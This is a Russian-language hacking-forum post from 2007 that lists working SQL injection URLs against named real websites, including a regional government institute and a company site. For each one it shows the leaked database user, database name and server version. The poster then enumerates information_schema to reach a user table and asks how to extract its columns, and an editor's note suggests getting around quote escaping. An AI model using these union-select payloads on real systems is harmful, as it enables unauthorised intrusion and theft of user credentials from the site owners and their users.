
02.06.2007, 16:20
|
|
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме: 7452489
Репутация:
1359
|
|
Сообщение от Пчел
Научно-исследовательский институт безопасности жизнедеятельности Республики Башкортостан
Код:
http://www.emercomrb.bashnet.ru/risla/index.php?p=-1243+union+select+1,2,3,4/*
USER: risla@localhost
DATABASE: risla
VERSION: 4.0.18-nt
Компания Стокмэн
Код:
http://www.kalitka-plitka.ru/news/?id=-12345+union+select+1,user(),database(),4,version(),6,7/*
USER: kalitka@localhost
DATABASE: kalitka-plitka
VERSION: 5.0.32-Debian_7etch1-log
Уря наконец, попался 5 мускул )) можно поупражняться в использовании information_schema )
Код:
http://www.kalitka-plitka.ru/news/?id=-12345+union+select+1,Table_name,database(),4,version(),6,7+from+information_schema.tables+limit+35,1/*
Получили таблицу ms_user
Попытался терь получить имена столбцов
Код:
http://www.kalitka-plitka.ru/news/?id=-12345+union+select+1,column_name,database(),4,version(),6,7+from+information_schema.columns+where+table_name='ms_user'+limit+0,1/*
но что-то незаладилось, может чтото делаю неправильно ?
Последний раз редактировалось blackybr; 02.06.2007 в 16:42..
Причина: Экранируется кавычка... magic quotes = on. поэтому не можешь ее юзать, попробуй обойти =\
|
|
|